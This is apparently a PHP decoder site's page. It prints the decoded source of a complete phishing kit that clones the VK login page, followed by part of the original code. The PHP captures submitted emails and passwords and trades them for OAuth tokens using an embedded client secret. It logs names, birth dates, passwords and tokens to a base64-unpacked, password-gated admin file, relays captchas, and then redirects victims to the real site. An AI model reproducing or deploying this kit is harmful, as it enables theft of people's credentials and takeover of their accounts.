Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? //**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**// // ..
Decoded Output download
<?
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//
// //
define ("PASS", "SIIZ"); //
define ("B_NAME", "base.php"); // ( .php)
define ("URL", "https://vk.com/feed"); // ,
//
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//
if($_POST[email] and $_POST[pass]){
$data = json_decode(curl('https://oauth.vk.com/token?grant_type=password&scope=friends%2Cphotos%2Cvideo%2Caudio%2Cpages%2C256%2Cnotes%2Cstatus%2Cmessages%2Cwall%2Cads%2Coffline%2Cdocs%2Cgroups%2Cnotifications%2Cnotifications%2Cmarket%2Cnotifications&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&username='.$_POST[email].'&password='.$_POST[pass].'&captcha_sid='.$_POST[sid].'&captcha_key='.$_POST[captcha]), 1);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<link rel="shortcut icon" href="//vk.com/images/icons/favicons/fav_logo.ico?5" />
<link rel="apple-touch-icon" href="//vk.com/images/safari_60.png?1">
<link rel="apple-touch-icon" sizes="76x76" href="//vk.com/images/safari_76.png?1">
<link rel="apple-touch-icon" sizes="120x120" href="//vk.com/images/safari_120.png?1">
<link rel="apple-touch-icon" sizes="152x152" href="//vk.com/images/safari_152.png?1">
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="description" content=" , . , , , , ." />
<title> | </title>
<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>
<link rel="stylesheet" type="text/css" href="//vk.com/css/al/fonts_cnt.css?2889730895" />
<link rel="stylesheet" type="text/css" href="//vk.com/css/al/common.css?23502564148" />
<script type="text/javascript">
var vk = {
ads_rotate_interval: 120000,
al: parseInt('3') || 4,
id: 0,
intnat: '' ? true : false,
host: 'vk.com',
lang: 0,
rtl: parseInt('') || 0,
version: 3817049020046,
stDomains: 0,
zero: false,
contlen: 12680,
loginscheme: 'https',
ip_h: 'd01ccfc4a505e04b08',
vc_h: 'ae8e2f37061e4276e0310a3ccd4c77f5',
navPrefix: '/',
dt: parseInt('0') || 0,
fs: parseInt('13') || 13,
ts: 1506390873,
tz: 10800,
pd: 0,
css_dir: '',
vcost: 7,
time: [2017, 9, 26, 4, 54, 33],
sampleUser: -1, spentLastSendTS: new Date().getTime(),
a11y: 0,
statusExportHash: '',
audioAdsConfig: {"_":"_"},
longViewTestGroup: "every_view",
pr_tpl: "<div class=\"pr %cls%\" id=\"%id%\"><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><\/div>",
audioInlinePlayerTpl: "<div class=\"audio_inline_player _audio_inline_player no_select\">
<div class=\"audio_inline_player_right\">
<div class=\"audio_inline_player_volume\"><\/div>
<\/div>
<div class=\"audio_inline_player_left\">
<div class=\"audio_inline_player_progress\"><\/div>
<\/div>
<\/div>",
tnsPixelType: 'unauth'
};
window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
var _ua = navigator.userAgent.toLowerCase();
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain;
var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '', ___to;
___htest = ___htest.split('#').pop();
if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) {
if (vk.al != 3 || vk.navPrefix != '!') {
___to = ___htest.replace(/^(\/|!)/, '');
if (___to.match(/^([^\?]*\.php|login|mobile)([^a-z0-9\.]|$)/)) ___to = '';
location.replace(location.protocol + '//' + location.host + '/' + ___to);
}
}
var StaticFiles = {
'common.js' : {v: 1157},
'fonts_cnt.css' : {v: 2889730895},
'common.css': {v: 23502564148}
,'lang0_0.js':{v:6844},'index.css':{v:14082579640},'index.js':{v:3228561433},'login.css':{v:15932378811},'ui_controls.css':{v:15064529460},'ui_controls.js':{v:3486179758},'ui_common.js':{v:3070177449},'ui_common.css':{v:13455283419},'audioplayer.js':{v:6327756732}
}
var abp;
</script>
<link type="text/css" rel="stylesheet" href="//vk.com/css/al/index.css?14082579640"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/login.css?15932378811"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/ui_controls.css?15064529460"></link><link type="text/css" rel="stylesheet" href="//vk.com/css/al/ui_common.css?13455283419"></link><script type="text/javascript" src="//vk.com/js/loader_nav3817049020046_0.js"></script><script type="text/javascript" src="//vk.com/js/al/common.js?1157_186508888"></script><script type="text/javascript" src="//vk.com/js/lang0_0.js?6844"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=1"></script><script type="text/javascript" src="//vk.com/js/lib/px.js?ch=2"></script><link rel="alternate" media="only screen and (max-width: 640px)" href="https://m.vk.com/" /><link rel="alternate" href="android-app://com.vkontakte.android/vkontakte/m.vk.com/" /><meta name="msApplication-ID" content="C6965DD5.VK" /><meta name="msApplication-PackageFamilyName" content="C6965DD5.VK_v422avzh127ra" /><script type="text/javascript" src="//vk.com/js/al/index.js?3228561433"></script><script type="text/javascript" src="//vk.com/js/lib/ui_controls.js?3486179758"></script><script type="text/javascript" src="//vk.com/js/al/ui_common.js?3070177449"></script><script type="text/javascript" src="//vk.com/js/cmodules/web/audioplayer.js?6327756732"></script>
</head>
<body onresize="onBodyResize()" class="firefox index_page">
<div id="system_msg" class="fixed"></div>
<div id="utils"></div>
<div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed layer_wrap"><div id="layer"></div></div>
<div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="pr pr_baw pr_medium" id="box_loader_pr"><div class="pr_bt"></div><div class="pr_bt"></div><div class="pr_bt"></div></div><div class="back"></div></div></div></div>
<div id="stl_left"></div><div id="stl_side"></div>
<script type="text/javascript">domStarted();</script>
<div class="scroll_fix_wrap _page_wrap" id="page_wrap"><div><div class="scroll_fix">
<div id="page_header_cont" class="page_header_cont">
<div class="back"></div>
<div id="page_header_wrap" class="page_header_wrap">
<a class="top_back_link" href="" id="top_back_link" onclick="if (nav.go(this, event, {back: true}) === false) { showBackLink(); return false; }" onmousedown="tnActive(this)"></a>
<div id="page_header" class="p_head p_head_l0" style="width: 960px">
<div class="content">
<div id="top_nav" class="head_nav">
<div class="head_nav_item fl_l"><a class="top_home_link fl_l " href="http://vk.com/" aria-label=" " accesskey="1"><div class="top_home_logo"></div></a></div>
<div class="head_nav_item fl_l"><div id="ts_wrap" class="ts_wrap" onmouseover="TopSearch.initFriendsList();">
<input name="disable-autofill" style="display: none;" />
<input type="text" onmousedown="event.cancelBubble = true;" ontouchstart="event.cancelBubble = true;" class="text ts_input" id="ts_input" autocomplete="off" name="disable-autofill" placeholder="" aria-label="" />
</div></div>
<div class="head_nav_item fl_l head_nav_btns"><span id="top_audio_layer_place"></span></div>
<div class="head_nav_item fl_r"><a class="top_nav_link" href="" id="top_switch_lang" style="" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15' }); return false;" onmousedown="tnActive(this)">
Switch to English
</a><a class="top_nav_link" href="http://vk.com/join" id="top_reg_link" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)" onmousedown="tnActive(this)">
</a></div>
<div class="head_nav_item_player"></div>
</div>
<div id="ts_cont_wrap" class="ts_cont_wrap" ontouchstart="event.cancelBubble = true;" onmousedown="event.cancelBubble = true;"></div>
</div>
</div>
</div>
</div>
<div id="page_layout" style="width: 960px;">
<div id="side_bar" class="side_bar fl_l " style="display: none">
<div id="side_bar_inner" class="side_bar_inner">
<div id="quick_login" class="quick_login">
<form method="POST" name="login" id="quick_login_form" action="">
<div class="label"> e-mail</div>
<div class="labeled"><input type="text" name="email" class="dark" id="quick_email" /></div>
<div class="label"></div>
<div class="labeled"><input type="password" name="pass" class="dark" id="quick_pass" onkeyup="toggle('quick_expire', !!this.value);toggle('quick_forgot', !this.value)" /></div>
<input type="submit" class="submit" />
</form>
<button class="quick_login_button flat_button button_wide" id="quick_login_button"></button>
<button class="quick_reg_button flat_button button_wide" id="quick_reg_button" style="display: none" onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})"></button>
<div class="clear forgot"><div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"> </div><a id="quick_forgot" class="quick_forgot" href="http://vk.com/restore" target="_top"> ?</a></div>
</div>
</div>
</div>
<div id="page_body" class="fl_r " style="width: 960px;">
<div id="header_wrap2">
<div id="header_wrap1">
<div id="header" style="display: none">
<h1 id="title"></h1>
</div>
</div>
</div>
<div id="wrap_between"></div>
<div id="wrap3"><div id="wrap2">
<div id="wrap1">
<div id="content"><div id="index_rcolumn" class="index_rcolumn">
<div id="index_login" class="page_block index_login">
<form method="post" name="login" id="index_login_form" action="">
<input type="text" class="big_text" name="email" id="index_email" value="" placeholder=" e-mail" />
<input type="password" class="big_text" name="pass" id="index_pass" value="" placeholder="" onkeyup="toggle('index_expire', !!this.value);toggle('index_forgot', !this.value)" />
<button id="index_login_button" class="index_login_button flat_button button_big_text"></button>
<div class="forgot">
<div class="checkbox" id="index_expire" onclick="checkbox(this);ge('index_expire_input').value=isChecked(this)?1:'';"> </div>
<a id="index_forgot" class="index_forgot" href="http://vk.com/restore" target="_top"> ?</a>
</div>
</form>
</div>
<div id="ij_form" class="page_block ij_form">
<h2 class="ij_header"> ?</h2>
<div class="ij_subheader"> </div>
<div id="ij_msg"></div>
<input type="text" class="big_text" id="ij_first_name" value="" placeholder=" " />
<input type="text" class="big_text" id="ij_last_name" value="" placeholder=" " />
<div class="ij_label"> <span class="hint_icon" data-title="<b> </b> , .<br> ." onmouseover="showHint(this);"></span></div>
<div id="ij_birthdate_row" class="ij_birthdate_row clear_fix">
<div class="ij_bday"><input type="text" class="big_text" id="ij_bday" /></div>
<div class="ij_bmonth"><input type="text" class="big_text" id="ij_bmonth" /></div>
<div class="ij_byear"><input type="text" class="big_text" id="ij_byear" /></div>
</div>
<div id="ij_sex_row" class="clear_fix unshown">
<div class="ij_label"> </div>
<div class="radiobtn" onclick="radiobtn(this, 1, 'ij_sex');"></div>
<div class="radiobtn" onclick="radiobtn(this, 2, 'ij_sex');"></div>
</div>
<button class="flat_button button_wide button_big_text ij_button" id="ij_submit" onclick="Index.submitJoinStart()"></button>
<div id="index_fbsign" class="index_fbsign">
<a id="index_fb" class="index_fb_lnk" href="" onclick="return Index.fbJoin();"><div class="index_fb_icon"></div> Facebook</a>
</div>
<div id="index_fbcontinuewithsign" class="index_fbcontinuewithsign">
<div class="fb-login-button index_fb_continue_with_btn" onclick="return Index.fbJoin();" data-use-continue-as="true" data-width="264" data-max-rows="1" data-size="medium" data-button-type="continue_with"></div>
</div>
</div>
</div>
<div class="login_mobile_promo_wrap clear_fix">
<div class="login_mobile_apps">
<div class="login_mobile_header"> </div>
<div class="login_mobile_info"> , .</div>
<div class="login_app_devices">
<a href="https://play.google.com/store/apps/details?id=com.vkontakte.android" target="_blank" class="login_app_device login_app_device_android">
<div class="login_app_device_screen_wrap">
<div class="login_app_device_screen login_app_device_ru"></div>
</div>
<div class="login_app_download_wrap">
<button class="flat_button secondary button_light">
<span class="login_app_download_icon"></span>
VK Android
</button>
</div>
</a>
<a href="https://www.microsoft.com/store/apps/9wzdncrfj1pt" target="_blank" class="login_app_device login_app_device_wp">
<div class="login_app_device_screen_wrap">
<div class="login_app_device_screen login_app_device_ru"></div>
</div>
<div class="login_app_download_wrap">
<button class="flat_button secondary button_light">
<span class="login_app_download_icon"></span>
VK WP
</button>
</div>
</a>
<a href="https://itunes.apple.com/ru/app/id564177498" target="_blank" class="login_app_device login_app_device_ios">
<div class="login_app_device_screen_wrap">
<div class="login_app_device_screen login_app_device_ru"></div>
</div>
<div class="login_app_download_wrap">
<button class="flat_button secondary button_light">
<span class="login_app_download_icon"></span>
VK iPhone
</button>
</div>
</a>
</div>
</div>
<a onclick="curBox().hide()" id="login_mobile_close" class="login_mobile_close"></a>
<div class="login_about_mobile">
: <a target="_blank" href="https://m.vk.com">m.vk.com</a>
</div>
</div>
<div id="index_footer_wrap" class="footer_wrap index_footer_wrap">
<div class="footer_nav" id="bottom_nav">
<div class="footer_copy fl_l"><a href="http://vk.com/about"></a> © <?=date("Y");?></div>
<div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;"> »</a></div>
<div class="footer_links">
<a class="bnav_a" href="http://vk.com/about"> </a>
<a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a>
<a class="bnav_a" href="http://vk.com/terms"></a>
<a class="bnav_a" href="http://vk.com/ads" style=""></a>
<a class="bnav_a" href="http://vk.com/dev"></a>
<a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a>
</div>
</div>
<div class="footer_bench clear">
</div>
</div></div>
</div>
</div></div>
</div>
<div id="footer_wrap" class="footer_wrap fl_r" style="width: 960px;"><div class="footer_nav" id="bottom_nav">
<div class="footer_copy fl_l"><a href="http://vk.com/about"></a> © 2017</div>
<div class="footer_lang fl_r">:<a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '6e6bf4047b91726b15'})">English</a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '6e6bf4047b91726b15'})"></a><a class="footer_lang_link" onclick="if (vk.al) { showBox('lang.php', {act: 'lang_dialog', all: 1}, {params: {dark: true, bodyStyle: 'padding: 0px'}, noreload: true}); } else { changeLang(1); } return false;"> »</a></div>
<div class="footer_links">
<a class="bnav_a" href="http://vk.com/about"> </a>
<a class="bnav_a" href="http://vk.com/support?act=home" style="display: none;"></a>
<a class="bnav_a" href="http://vk.com/terms"></a>
<a class="bnav_a" href="http://vk.com/ads" style=""></a>
<a class="bnav_a" href="http://vk.com/dev"></a>
<a class="bnav_a" href="http://vk.com/jobs" style="display: none;"></a>
</div>
</div>
<div class="footer_bench clear">
</div></div>
<div class="clear"></div>
</div>
</div></div><noscript><div style="position:absolute;left:-10000px;">
<img src="http://vk.com//top-fwz1.mail.ru/counter?id=2579437;js=na" style="border:0;" height="1" width="1" />
</div></noscript></div>
<div class="progress" id="global_prg"></div>
<script type="text/javascript">
if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) {
document.getElementsByTagName('body')[0].innerHTML = '';
} else {
domReady();
updateMoney(0);
if (browser.iphone || browser.ipad || browser.ipod) {
setStyle(bodyNode, {webkitTextSizeAdjust: 'none'});
}var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass');
var qlb = ge('quick_login_button'), prgBtn = qlb;
var qinit = function() {
setTimeout(function() {
ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf);
qf.target = 'quick_login_frame';
}, 1);
}
if (window.top && window.top != window) {
window.onload = qinit;
} else {
setTimeout(qinit, 0);
}
qf.onsubmit = function() {
if (!ge('quick_login_frame')) return false;
if (!trim(qe.value)) {
notaBene(qe);
return false;
} else if (!trim(qp.value)) {
notaBene(qp);
return false;
}
lockButton(window.__qfBtn = prgBtn);
prgBtn = qlb;
clearTimeout(__qlTimer);
__qlTimer = setTimeout(loginSubmitError, 30000);
domFC(domPS(qf)).onload = function() {
clearTimeout(__qlTimer);
__qlTimer = setTimeout(loginSubmitError, 2500);
}
return true;
}
handlePageParams({"id":0,"loc":"","noleftmenu":1,"wrap_page":1,"width":960,"width_dec":0,"width_dec_footer":0,"body_class":"firefox index_page","counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick);
addLangKeys({"global_apps":"","global_friends":"","global_communities":"","head_search_results":" ","global_chats":"","global_show_all_results":" ","global_news_search_results":" ","global_emoji_cat_recent":" ","global_emoji_cat_1":"","global_emoji_cat_2":" ","global_emoji_cat_3":" ","global_emoji_cat_4":" ","global_emoji_cat_5":" ","global_emoji_cat_6":" ","global_emoji_cat_7":"","global_emoji_cat_8":"","global_emoji_cat_9":""}, true);
addLangKeys({"index_to_main":" ","index_choose_sex":" ","index_sel_bday":""});
addTemplates({"_":"_"});cur.options = {"bmonths":[[0,""],[1,""],[2,""],[3,""],[4,""],[5,""],[6,""],[7,""],[8,""],[9,""],[10,""],[11,""],[12,""]],"byears":[[0,""],[2003,"2003"],[2002,"2002"],[2001,"2001"],[2000,"2000"],[1999,"1999"],[1998,"1998"],[1997,"1997"],[1996,"1996"],[1995,"1995"],[1994,"1994"],[1993,"1993"],[1992,"1992"],[1991,"1991"],[1990,"1990"],[1989,"1989"],[1988,"1988"],[1987,"1987"],[1986,"1986"],[1985,"1985"],[1984,"1984"],[1983,"1983"],[1982,"1982"],[1981,"1981"],[1980,"1980"],[1979,"1979"],[1978,"1978"],[1977,"1977"],[1976,"1976"],[1975,"1975"],[1974,"1974"],[1973,"1973"],[1972,"1972"],[1971,"1971"],[1970,"1970"],[1969,"1969"],[1968,"1968"],[1967,"1967"],[1966,"1966"],[1965,"1965"],[1964,"1964"],[1963,"1963"],[1962,"1962"],[1961,"1961"],[1960,"1960"],[1959,"1959"],[1958,"1958"],[1957,"1957"],[1956,"1956"],[1955,"1955"],[1954,"1954"],[1953,"1953"],[1952,"1952"],[1951,"1951"],[1950,"1950"],[1949,"1949"],[1948,"1948"],[1947,"1947"],[1946,"1946"],[1945,"1945"],[1944,"1944"],[1943,"1943"],[1942,"1942"],[1941,"1941"],[1940,"1940"],[1939,"1939"],[1938,"1938"],[1937,"1937"],[1936,"1936"],[1935,"1935"],[1934,"1934"],[1933,"1933"],[1932,"1932"],[1931,"1931"],[1930,"1930"],[1929,"1929"],[1928,"1928"],[1927,"1927"],[1926,"1926"],[1925,"1925"],[1924,"1924"],[1923,"1923"],[1922,"1922"],[1921,"1921"],[1920,"1920"],[1919,"1919"],[1918,"1918"],[1917,"1917"],[1916,"1916"],[1915,"1915"],[1914,"1914"],[1913,"1913"],[1912,"1912"],[1911,"1911"],[1910,"1910"],[1909,"1909"],[1908,"1908"],[1907,"1907"],[1906,"1906"],[1905,"1905"],[1904,"1904"],[1903,"1903"],[1902,"1902"],[1901,"1901"]]};
Index.initNew();cur.fbApp = '128749580520227';
cur.fbState = '41ec29e42129f4529d';
cur.fbContinueWithSign = 1;
cur.fbLocale = 'ru_RU';
Index.fbCheck(cur.fbApp, '');
;(function (d, w) {
if (w.__dev) {
return
}
var ts = d.createElement("script"); ts.type = "text/javascript"; ts.async = true;
ts.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//top-fwz1.mail.ru/js/code.js";
var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);};
if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); }
})(document, window);
}
</script>
</body>
</html>
<?
if($_POST[email] and $_POST[pass]){
if($data[error_description] == 'Username or password is incorrect') exit('<script>showFastBox("", " .");</script>');
if($data[access_token]){
$res = json_decode(curl('https://api.vk.com/method/account.getProfileInfo?access_token='.$data[access_token]), 1);
if(!file_exists(B_NAME)){
file_put_contents(B_NAME, '<? $pass="'.PASS.'";'.base64_decode('c2Vzc2lvbl9zdGFydCgpOwppZigkX0dFVFsnZXhpdCddKSAkX1NFU1NJT05bYXV0aF0gPSAwOwo/Pgo8c3R5bGU+Cmh0bWwsYm9keXsKCXBhZGRpbmc6IDA7CgltYXJnaW46IDA7CgloZWlnaHQ6IDEwMCU7Cgl3aWR0aDogMTAwJTsKCWJhY2tncm91bmQ6ICMzMjMzMzI7Cn0KLmJiewoJd2lkdGg6IDcwLjclOwoJbWFyZ2luLWxlZnQ6IDE1JTsKfQouZWRpdHsKCXdpZHRoOiA3MCU7CgltYXJnaW4tbGVmdDogMTUlOwp9Ci5sb2dpbnsKCWJhY2tncm91bmQ6IGJsYWNrOwoJd2lkdGg6IDQwJTsKCWhlaWdodDogMjAlOwoJbWFyZ2luLXRvcDogMTUlOwoJbWFyZ2luLWxlZnQ6IDMwJTsKfQoudGV4dHsKCW1hcmdpbi10b3A6IDUwcHg7Cn0KdGFibGV7Cgljb2xvcjogIzAwOGNmMDsKCWJvcmRlci1jb2xvcjogcmVkOwp9CnRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+Cjw/CiRjID0gYXJyYXkoJ2dyZWVuJywgJ3JlZCcsICd5ZWxsb3cnLCAnYmx1ZScsICd3aGl0ZScpW210X3JhbmQoMCwgNCldOwppZighJF9TRVNTSU9OW2F1dGhdKXsKaWYoJF9QT1NUW2xvZ2luXSl7CglpZigkX1BPU1RbbG9naW5dID09ICRwYXNzKXsKCQkkX1NFU1NJT05bYXV0aF0gPSAxOwoJCWVjaG8gJzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uLnJlbG9hZCh0cnVlKTs8L3NjcmlwdD4nOwoKCX0KfQo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KCTx0aXRsZT5Mb2dpbjwvdGl0bGU+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJjc3MvbG9naW4uY3NzIj4KPC9oZWFkPgo8Ym9keT4KCTxkaXYgY2xhc3M9ImxvZ2luIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgPD89JGM/PjsiPgoJCTxicj48Y2VudGVyPjxiPjxzcGFuIHN0eWxlPSJjb2xvcjogPD89JGM/PjsiIGNsYXNzPSJ0ZXh0Ij5Mb2dpbiBJbjwvc3Bhbj48L2I+PC9jZW50ZXI+PGJyPgoJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9naW4iIGNsYXNzPSJlZGl0IiBwbGFjZWhvbGRlcj0ibG9naW4iPjxicj4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmIiIHZhbHVlPSJMT0dJTiIgY2xhc3M9ImJiIj4KCQk8L2Zvcm0+Cgk8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cjw/CmV4aXQoKTsKfQo/Pgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHBhZGRpbmc9IjUiPgogICA8dHI+CiAgICA8dGg+0KTQmNCePC90aD4KICAgIDx0aD7QlNCgPC90aD4KICAgIDx0aD7Qm9C+0LPQuNC9PC90aD4KICAgIDx0aD7Qn9Cw0YDQvtC70Yw8L3RoPgogICAgPHRoPtCi0L7QutC10L08L3RoPgogICA8L3RyPgoK'));
}
file_put_contents(B_NAME, "<tr><th>".$res[response][first_name].''.$res[response][last_name]."</th><th>".$res[response][bdate]."</th><th>".$_POST[email]."</th><th>".$_POST[pass]."</th><th>".$data[access_token]."</th></tr>", FILE_APPEND);
exit("<script>window.location.replace('".URL."');</script>");
}
if($data[error] == 'need_captcha'){
$str = "<form method='post' action=''><center><img src=".$data[captcha_img]."><br><div class='labeled'><input type='text' name='captcha' class='dark' id='quick_email'/><button class='quick_login_button flat_button button_wide' style='width=20%;' id='quick_login_button'></button></div></center><input type='hidden' name='sid' value=".$data[captcha_sid]."><input type='hidden' name='email' value=".$_POST[email]."><input type='hidden' name='pass' value=".$_POST[pass]."></form>";
?>
<script>showFastBox(" ", "<?=$str?>");</script>
<?}/*
print_r($data); //delete me!!!!
exit($_POST[email].' '.$_POST[pass]); */
}
function curl($url){
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
$res = curl_exec( $ch );
curl_close( $ch );
return $res;
}
?>
Did this file decode correctly?
Original Code
<?
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//
// //
define ("PASS", "SIIZ"); //
define ("B_NAME", "base.php"); // ( .php)
define ("URL", "https://vk.com/feed"); // ,
//
//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//**//
if($_POST[email] and $_POST[pass]){
$data = json_decode(curl('https://oauth.vk.com/token?grant_type=password&scope=friends%2Cphotos%2Cvideo%2Caudio%2Cpages%2C256%2Cnotes%2Cstatus%2Cmessages%2Cwall%2Cads%2Coffline%2Cdocs%2Cgroups%2Cnotifications%2Cnotifications%2Cmarket%2Cnotifications&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&username='.$_POST[email].'&password='.$_POST[pass].'&captcha_sid='.$_POST[sid].'&captcha_key='.$_POST[captcha]), 1);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<link rel="shortcut icon" href="//vk.com/images/icons/favicons/fav_logo.ico?5" />
<link rel="apple-touch-icon" href="//vk.com/images/safari_60.png?1">
<link rel="apple-touch-icon" sizes="76x76" href="//vk.com/images/safari_76.png?1">
<link rel="apple-touch-icon" sizes="120x120" href="//vk.com/images/safari_120.png?1">
<link rel="apple-touch-icon" sizes="152x152" href="//vk.com/images/safari_152.png?1">
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<meta name="description" content=" , . , , , , ." />
<title> | </title>
<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>
<link rel="stylesheet" type="text/css" href="//vk.com/css/al/fonts_cnt.css?2889730895" />
<link rel="stylesheet" type="text/css" href="//vk.com/css/al/common.css?23502564148" />
<script type="text/javascript">
var vk = {
ads_rotate_interval: 120000,
al: parseInt('3') || 4,
id: 0,
intnat: '' ? true : false,
host: 'vk.com',
lang: 0,
rtl: parseInt('') || 0,
version: 3817049020046,
stDomains: 0,
zero: false,
contlen: 12680,
loginscheme: 'https',
ip_h: 'd01ccfc4a505e04b08',
vc_h: 'ae8e2f37061e4276e0310a3ccd4c77f5',
navPrefix: '/',
dt: parseInt('0') || 0,
fs: parseInt('13') || 13,
ts: 1506390873,
tz: 10800,
pd: 0,
css_dir: '',
vcost: 7,
time: [2017, 9, 26, 4, 54, 33],
sampleUser: -1, spentLastSendTS: new Date().getTime(),
a11y: 0,
statusExportHash: '',
audioAdsConfig: {"_":"_"},
longViewTestGroup: "every_view",
pr_tpl: "<div class=\"pr %cls%\" id=\"%id%\"><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><div class=\"pr_bt\"><\/div><\/div>",
audioInlinePlayerTpl: "<div class=\"audio_inline_player _audio_inline_player no_select\">\n <div class=\"audio_inline_player_right\">\n <div class=\"audio_inline_player_volume\"><\/div>\n <\/div>\n <div class=\"audio_inline_player_left\">\n <div class=\"audio_inline_player_progress\"><\/div>\n <\/div>\n<\/div>",
tnsPixelType: 'unauth'
};
window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
var _ua = navigator.userAgent.toLowerCase();
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain;
var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '', ___to;
___htest = ___htest.split('#').pop();
if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) {
if (vk.al != 3 || vk.navPrefix != '!') {
___to = ___htest.replace(/^(\/|!)/, '');
if (___to.match(/^([^\?]*\.php|login|mobile)([^a-z0-9\.]|$)/)) ___to = '';
location.replace(location.protocol + '//' + location.host + '/' + ___to);
}
}
var StaticFiles = {
'common.js' : {v: 1157},
'fonts_cnt.css' : {v: 2889730895},
'common.css': {v: 23502564148}
,'lang0_0.js':{v:6844},'index.css':{v:14082579640},'index.js':{v:3228561433},'login.css':{v:15932378811},'ui_controls.css':{v:15064529460},'ui_controls.js':{v:3486179758},'ui_common.js':{v:3070177449},'ui_common.css':{v:13455283419},'audioplayer.js':{v:6327756732}
}
var abp;
</script>
